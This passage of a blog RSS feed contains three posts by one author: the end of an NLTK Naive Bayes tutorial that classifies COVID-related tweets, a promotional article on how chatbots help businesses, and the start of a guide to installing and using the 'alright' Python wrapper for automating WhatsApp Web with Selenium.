    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;all&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;all&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_word_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wordlist&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;wordlist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FreqDist&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wordlist&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;features&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wordlist&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;features&lt;/span&gt;
&lt;span class="n"&gt;w_features&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_word_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_words_in_tweets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;document&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;document_words&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;document&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;features&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;w_features&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'containts(%s)'&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;document_words&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, Let's use NLTK Naive Bayes Classifier to classify the extracted tweet word features.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;nltk.classify&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SklearnClassifier&lt;/span&gt;

&lt;span class="n"&gt;training_set&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;classify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apply_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;extract_features&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;classifier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NaiveBayesClassifier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;train&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;training_set&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final step is to evaluate how far our trained model can perform sentiment classification with unseen tweets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;noncovid_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;covid_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;test_nocovid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="n"&gt;classifier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;classify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;extract_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;noncovid_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;noncovid_cnt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;test_covid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="n"&gt;classifier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;classify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;extract_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;covid_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;covid_cnt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'[Non Covid]: %s/%s '&lt;/span&gt;  &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test_nocovid&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;noncovid_cnt&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'[Covid]: %s/%s '&lt;/span&gt;  &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test_covid&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;covid_cnt&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final model with NLTK was able to predict collect 530 tweets with Non-Covid contents out of 581, equivalent to 91%, and 410 tweets with Covid contents out of 477, equivalent to 85%.&lt;/p&gt;

&lt;p&gt;Well done, now you are familiar with NLTK that allows you to process text, analyze text to gain particular information, you can investigate more on how to make your model improve also you can opt to select other classifiers to compare with Naive Bayes.&lt;/p&gt;

&lt;p&gt;Thank you, you can access full codes &lt;a href="https://github.com/sarufi-io/SentimentAnalysis_NLTK/blob/main/notebook/%20Covid-19%20Tweet%20Sentiment%20Analysis%20with%20python%20NLTK.ipynb"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Relationship Between Neurotech and Natural Language Processing(NLP)&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Natural Language Processing is a powerful tool when your solve business challenges, associating with the digital transformation of companies and startups. &lt;a href="https://sarufi.io/"&gt;Sarufi&lt;/a&gt; and &lt;a href="https://www.neurotech.africa/#services"&gt;Neurotech&lt;/a&gt; offer high-standard solutions concerning conversational AI(chatbots). Improve your business experience today with NLP  &lt;a href="https://sarufi.io/solutions"&gt;solutions&lt;/a&gt; from experienced technical expertise.&lt;/p&gt;

&lt;p&gt;Hope you find this article useful, sharing is caring.&lt;/p&gt;

</description>
      <category>nlp</category>
      <category>machinelearning</category>
      <category>python</category>
    </item>
    <item>
      <title>Understand How Chatbots Can Take Your Business To The Next Level</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Wed, 18 May 2022 12:50:12 +0000</pubDate>
      <link>https://dev.to/neurotech_africa/understand-how-chatbots-can-take-your-business-to-the-next-level-2mh7</link>
      <guid>https://dev.to/neurotech_africa/understand-how-chatbots-can-take-your-business-to-the-next-level-2mh7</guid>
      <description>&lt;p&gt;Do you know that chatbot can be the answer to your business challenges? Chatbots can help you improve customer service and increase conversions. As bots get more advanced, the potential for what they can do is practically limitless. The best way to improve your business is to get more customers, and a bot can help you do that. If your business strategy is lacking in a particular area, it's time to fix it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article has been originally published at &lt;a href="https://blog.neurotech.africa/understand-how-chatbots-can-take-your-business-to-the-next-level/"&gt;blog.neurotech.africa&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;What is Chatbot?&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Chatbots&lt;/strong&gt; are computer programs or simply &lt;a href="https://www.interactions.com/conversational-ai/"&gt;conversational artificial intelligence&lt;/a&gt; which are trained to assist humans with repetitive day-to-day tasks on different systems.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A chatbot is a computer program that simulates human conversation through voice commands or text chats or both. You can say it is the output interface of Natural Language Processing.  Chatbot, short for chatterbot, is an artificial intelligence (AI) feature that can be embedded and used through any major messaging application.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The worthy truth 50% of consumers no longer care if they are dealing with humans or artificial intelligence-enabled assistants. In such competitive times, the quality of chatbots has shown remarkable growth.&lt;/p&gt;

&lt;p&gt;The number of businesses that utilize chatbots is increasing day to day, this shows that chatbots are very potential and becoming popular and are currently most commonly used in messenger applications and social media platforms.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Why are chatbots potential in nowadays businesses?&lt;/strong&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Chatbots help businesses to keep up with new trends&lt;/strong&gt; this is because chatbots are able to present on the message platforms, around 60% of the smartphone users don’t download any other new apps on their mobile phones because they have their core applications such as Whatsapp, Facebook, and Instagram, therefore, it’s hard for someone to start looking for any other new apps until they feel dissatisfaction with their core apps. Integrating chatbots into those platforms is better than building new applications to support customer service activities. This approach can reduce your time as well as save your money. Imagine you have introduced a new app to support your business. How much time and money can you spend on advertising the app to make your customers aware of it and also be comfortable using it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chatbots help to reduce operational costs&lt;/strong&gt; cause once you have a chatbot operating on your services helps serve costs for training, salary, and infrastructure for customer service tasks. Implementing a fully functioning chatbot is far better and cheaper than creating a secure platform application or hiring employees for each task, thus chatbot can help your employees to do relatively basic and repetitive tasks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chatbots improve customer engagement:&lt;/strong&gt; Companies that interact with their customers through social media can improve their customer's spending usually by 20 to 40 percent but with the help of these chatbots, it can contribute to more customer engagement with a fan fact factor in the initial stages.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chatbots can help businesses in monitoring consumer data and gaining insights&lt;/strong&gt; with the help of the chatbots you will be able to track the purchasing patterns and your consumer behavior by monitoring the user data. This will make it easier to understand your customers in a better way. Then your brand can decide which products have to be marketed differently, which products can be redeveloped or relaunched and you can take appropriate actions with those insights.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;None of the organizations have enough time and manpower to communicate with all their customers&lt;/strong&gt; in an actual required time or periodically but the use of chatbots can do it for you. Chatbots can initiates conversation regardless of what time and what issue will make your customers feel that your brand is one step ahead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;With the help of a chatbot, you can improve customer service&lt;/strong&gt;, since 83% of online shoppers need support during shopping these chatbots can provide assistance like a real salesperson in a real store and this chatbot helps you to offer support to your customers and 24*7 and understand what the real problem customers are facing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Better lead generation qualification&lt;/strong&gt;, chatbots can help you in better lead generation qualification and necessary a chatbot can ask required as well as related questions and this generates leads for your business also generating potential customers and notify your sales team to determine the unqualified leads through identified key performance indicators and prevent you to deal with time-consuming leads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;With chatbots you can easily approach the global markets&lt;/strong&gt; whether you are an international brand or a local brand that thrives hard to reach an international market, chatbots can help you to solve all your customer care problems in multiple languages 24*7 365 days a year and this helps to reach your market to a global environment.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--OwmcKSSr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/chatbot-on-marketing.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OwmcKSSr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/chatbot-on-marketing.png" alt="https://blog.neurotech.africa/content/images/2022/02/chatbot-on-marketing.png" width="488" height="488"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chatbot for marketing&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The benefits of chatbots don’t end here. If you want to know more about its benefits and you want to implement a chatbot service to grow your business feel free to get in touch with Neurotech we can provide you with a consultation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Keep attention to every detail associated with your customer's relationship with your business, don't forget that competition in business is everything and differentiation is the key to successful selling. You must have a competitive advantage if you don’t have one, you should create one.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Relation Between Chatbot and Neurotech&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;At Neurotech We are building  &lt;a href="https://sarufi.io/"&gt;Sarufi&lt;/a&gt; a Swahili conversational API that can help solve customer problems in businesses with &lt;a href="https://sarufi.io/"&gt;Sarufi&lt;/a&gt;, you can easily build Conversational AI or chatbots to communicate with customers. It is a no-code chatbot builder that will provide you with all the solutions you need to build and implement a chatbot for your business!&lt;/p&gt;

&lt;p&gt;Thank you for making the end of this informative article, remember sharing is caring.&lt;/p&gt;

</description>
      <category>machinelearning</category>
      <category>datascience</category>
      <category>ai</category>
      <category>management</category>
    </item>
    <item>
      <title>Automating WhatsApp web with alright</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Mon, 21 Jun 2021 09:53:33 +0000</pubDate>
      <link>https://dev.to/kalebu/automating-whatsapp-web-with-alright-55ch</link>
      <guid>https://dev.to/kalebu/automating-whatsapp-web-with-alright-55ch</guid>
      <description>&lt;h2&gt;
  
  
  alright?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/Kalebu/alright"&gt;Alright&lt;/a&gt; is a python wrapper that helps you automate WhatsApp web using python, giving you the capability to programmatically send messages, images, videos, and files to both saved and unsaved contacts without having to rescan the QR code every time you do that.&lt;/p&gt;

&lt;p&gt;This article is originally found in these places;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kalebujordan.dev/automating-whatsapp-web-with-alright/"&gt;kalebujordan.dev&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/alright"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why alright?
&lt;/h2&gt;

&lt;p&gt;I was looking for a way to control and automate WhatsApp web with Python, I came across some very nice libraries and wrappers implementations including;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pywhatkit/"&gt;pywhatkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/tax/pywhatsapp"&gt;pywhatsapp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/shauryauppal/PyWhatsapp"&gt;PyWhatsapp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mukulhase/WebWhatsapp-Wrapper"&gt;WebWhatsapp-Wrapper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;and many others&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I tried &lt;a href="https://pypi.org/project/pywhatkit/"&gt;&lt;strong&gt;pywhatkit&lt;/strong&gt;&lt;/a&gt;, really cool one well crafted to be used by others but its implementations require you to open a new browser tap and scan QR code every time you send a message no matter if its the same person, which was deal-breaker for me.&lt;/p&gt;

&lt;p&gt;I then tried &lt;a href="https://github.com/tax/pywhatsapp"&gt;&lt;strong&gt;pywhatsapp&lt;/strong&gt;&lt;/a&gt; which is based on &lt;a href="https://github.com/tgalal/yowsup"&gt;yowsup&lt;/a&gt; and thus requiring you to do some registration with yowsup before using it of which after bit of googling I got scared of having my number blocked when I do that so I went for the next option&lt;/p&gt;

&lt;p&gt;I then went for &lt;a href="https://github.com/mukulhase/WebWhatsapp-Wrapper"&gt;&lt;strong&gt;WebWhatsapp-Wrapper&lt;/strong&gt;&lt;/a&gt;, it has some good documentation and recent commits so I had hopes it gonna work but It didn't for me, and after having couples of errors I abandoned it to look for the next alternative.&lt;/p&gt;

&lt;p&gt;Which is &lt;a href="https://github.com/shauryauppal/PyWhatsapp"&gt;&lt;strong&gt;PyWhatsapp&lt;/strong&gt;&lt;/a&gt; by &lt;a href="https://github.com/shauryauppal/"&gt;shauryauppal&lt;/a&gt;, which was more of cli tool than a wrapper which suprisingly worked and it's approach allows you to dynamically send whatsapp message to unsaved contacts without rescanning QR-code everytime.&lt;/p&gt;

&lt;p&gt;So what I did is more of a refactoring of the implementation of that tool to be more of wrapper to easily allow people to run different scripts on top of it instead of just using as a tool I then thought of sharing the codebase to people who might struggled to do this as I did.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;p&gt;You need to do a little bit of work to get &lt;a href="https://github.com/Kalebu/alright"&gt;&lt;strong&gt;alright&lt;/strong&gt;&lt;/a&gt; to running, but don't worry I gotcha you, everything will work well if you just carefully follow through the documentation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installation
&lt;/h3&gt;

&lt;p&gt;We need to have alright installed on our machine to start using which can either be done directly from &lt;strong&gt;GitHub&lt;/strong&gt; or using &lt;strong&gt;pip&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  installing directly
&lt;/h4&gt;

&lt;p&gt;You first need to clone or download the repo to your local directory and then move into the project directory as shown in the example and then run the below command;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Kalebu/alright
&lt;span class="nb"&gt;cd &lt;/span&gt;alright
alright &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; python setup.py &lt;span class="nb"&gt;install&lt;/span&gt; 
....
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  installing from pip
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;alright 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Setting up Selenium
&lt;/h3&gt;

&lt;p&gt;Underneath alright is &lt;strong&gt;Selenium&lt;/strong&gt;  which is one does all the automation work by directly controlling the browser, so you need to have a selenium driver on your machine for &lt;strong&gt;alright&lt;/strong&gt; to work.&lt;/p&gt;

&lt;p&gt;So primarily I developed &lt;strong&gt;alright&lt;/strong&gt; and tested on a Chrome browser and therefore it gonna require you to have &lt;a href="https://www.google.com/chrome/"&gt;Chrome&lt;/a&gt; and &lt;a href="https://chromedriver.chromium.org/downloads"&gt;chromedriver&lt;/a&gt; other browser support coming soon.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;You need to make sure you download the chrome driver compatible with the Chrome version you're using otherwise it won't work and also don't forget to extract the zip version of a driver&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here a &lt;a href="https://help.zenplanner.com/hc/en-us/articles/204253654-How-to-Find-Your-Internet-Browser-Version-Number-Google-Chrome"&gt;guide&lt;/a&gt; to check the version of chrome you're using &lt;/p&gt;

&lt;h4&gt;
  
  
  Adding selenium driver to the path
&lt;/h4&gt;

&lt;p&gt;One more final step to set up is to add the selenium driver location to &lt;strong&gt;path&lt;/strong&gt; so as it can be discovered by &lt;strong&gt;alright&lt;/strong&gt;, which varies depending on the operating system you're using.&lt;/p&gt;

&lt;p&gt;For instance, let's say example the current location our driver is in &lt;em&gt;/home/kalebu/chrome-driver&lt;/em&gt; (You can view the full path to your driver by running the &lt;strong&gt;PWD&lt;/strong&gt; command), Here how you would do that.&lt;/p&gt;

&lt;h5&gt;
  
  
  Linux
&lt;/h5&gt;

&lt;p&gt;For linux to permanently add path to browser do this;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and then add the command to export the folder at the very bottom of the file &amp;amp; then Ctrl+X to save it&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;:&lt;span class="s2"&gt;"/home/kalebu/chrome-driver"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h5&gt;
  
  
  Window
&lt;/h5&gt;

&lt;p&gt;For window users, you follow this &lt;a href="https://www.forbeslindesay.co.uk/post/42833119552/permanently-set-environment-variables-on-windows"&gt;guide&lt;/a&gt; to actually do that.&lt;/p&gt;

&lt;p&gt;Now after that, we're now ready to automating and controlling WhatsApp web using &lt;strong&gt;alright&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What you can do with alright?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Send Messages&lt;/li&gt;
&lt;li&gt;Send Images&lt;/li&gt;
&lt;li&gt;Send Videos&lt;/li&gt;
&lt;li&gt;Send Documents&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;When you're running your program made with **alright&lt;/em&gt;&lt;em&gt;, you can only have one controlled browser window at a time, If you run while another window is live it raise an error so make sure to close the controlled window before running another one&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Unsaved contact vs saved contacts
&lt;/h3&gt;

&lt;p&gt;Alright allows you to send the messages and media to both unsaved contacts as explained earlier but there is a tiny distinction on how you do that, you will observe this clearly as use the package.&lt;/p&gt;

&lt;p&gt;The first step before sending anything to the user is first to locate the user and then you can start sending the informations thats where the main difference lies btn saved and unsaved contacts.&lt;/p&gt;

&lt;h4&gt;
  
  
  Saved contacts
&lt;/h4&gt;

&lt;p&gt;To saved contact use method &lt;em&gt;find_by_username()&lt;/em&gt; to locate saved user,you can also use the same method to locate WhatsApp groups, The parameter can be either be;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;saved username&lt;/li&gt;
&lt;li&gt;mobile number&lt;/li&gt;
&lt;li&gt;group name&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here an Example on how to do that&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;alright&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_by_username&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'saved-name or number or group'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Unsaved contacts
&lt;/h4&gt;

&lt;p&gt;In sending message to unsaved whatsapp contacts use &lt;em&gt;find_user()&lt;/em&gt; method to locate the user and The parameter can only be users number with country code with (+) omitted as shown below;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;alright&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'255-74848xxxx'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



